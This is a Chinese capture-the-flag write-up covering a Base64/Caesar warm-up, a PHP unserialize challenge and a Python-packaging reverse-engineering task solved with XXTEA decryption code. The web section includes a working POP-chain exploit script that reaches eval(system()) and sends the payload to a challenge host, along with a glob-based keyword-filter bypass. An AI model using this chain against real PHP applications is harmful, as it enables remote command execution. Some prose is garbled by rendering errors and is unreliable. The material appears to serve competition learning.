签到
base64解码
然后凯撒解码
flag值:flag{we1c0m3_2_Ctf}
pintu
Web
PHP_unserialize_pro
- Welcome 类:这是一个简单的类,包含一个 n a m e ∗ ∗ 属性,以及一个 ∗ ∗ name** 属性,以及一个 ** name∗∗属性,以及一个∗∗arg 属性,构造函数和析构函数。
- G00d 类:这是一个可调用类,包含 s h e l l ∗ ∗ 和 ∗ ∗ shell** 和 ** shell∗∗和∗∗cmd 属性,以及一个 __invoke 方法。在 __invoke 方法中,它使用 eval 函数执行了 s h e l l ( shell( shell(cmd),其中 s h e l l ∗ ∗ 是来自 ∗ ∗ shell** 是来自 ** shell∗∗是来自∗∗shell 属性的函数,而 c m d ∗ ∗ 则来自 ∗ ∗ cmd** 则来自 ** cmd∗∗则来自∗∗cmd 属性。还要注意,它有一个正则表达式检查来阻止执行包含 f、l、a、g、***** 或 ? 的命令。
- H4ck3r 类:这是另一个类,包含 KaTeX parse error: Expected group after '_' at position 16: func** 属性,以及 **_̲_toString** 方法。…func 属性中的函数。
为了利用这个漏洞,你需要构造一个序列化的数据,其中包含 G00d 类的实例,以便触发 __invoke 方法执行任意代码。同时,你需要绕过正则表达式的检查,以便执行包含 f、l、a、g、***** 或 ? 的命令。
参考NKCTF2023http://blog.xmcve.com/2023/03/27/NKCTF-2023-Writeup/
<?php
class Welcome{
public $name;
public $arg = 'welcome';
public function __construct(){
$this->name = 'Wh0 4m I?';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}
class G00d{
public $shell="system";
public $cmd='sort /[!q]1[!q][!q]';
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}
$hacker= new H4ck3r();
$hacker->func = new G00d();
$welcome = new Welcome();
$welcome->name=$hacker;
$welcome->arg='A_G00d_H4ck3r';
$data=serialize($welcome);
echo urlencode($data);
$url = 'http://eci-2zedr0bd2zkzd0spqigu.cloudeci1.ichunqiu.com/'; // 替换成目标网站的URL
$data = ['data' => $data];
$response = file_get_contents($url . '?' . http_build_query($data));
// 输出响应
echo $response;
?>
flag{b5e0e15a-4066-4dc5-89f5-3fb796cd712a}
RE
hello_py
关于写hello_py:
下载下来
右键用文本方式打开:
发现开头是zip标准开头
修改格式为zip
解压得到内部文件:
然后把里面的文件用txt都打开看一遍。
发现部分文件imy和so后缀的文件用txt文本打开发现都有上述pk开头
全部改成zip并且解压就可以找到一堆pyc文件
以及
一个特殊文件(一开始打开看一眼发现没flag就走了。后面想了下才觉的不对毕竟是唯一一个符合题目名字的文件):
里面写着是hello.py的文件
解压出来是:
打开里面是这样子的;
一堆奇奇怪怪的编码。想了半天发现了这有些地方存在混淆,并且发现了xxtea的特征和密钥密⽂
写脚本;
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4]) {
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
/* Coding Part */ {
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do {
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++) {
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
} else if (n < -1)
/* Decoding Part */ {
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) {
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main() {
uint32_t v[9]= {
689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494
}
;
uint32_t const k[4]= {
12345678 ,12398712 ,91283904 ,12378192
}
;
int n= 9;
btea(v, -n, k);
for (int i=0;i<9;i ++) {
printf("%c",v[i] & 0xff);
printf("%c",v[i] >> 8 & 0xff);
printf("%c",v[i] >> 16 & 0xff);
printf("%c",v[i] >> 24 & 0xff);
}
printf("\n");
return 0;
}
flag{c1f8ace6-4b46-4931-b25b-a1010a89c592}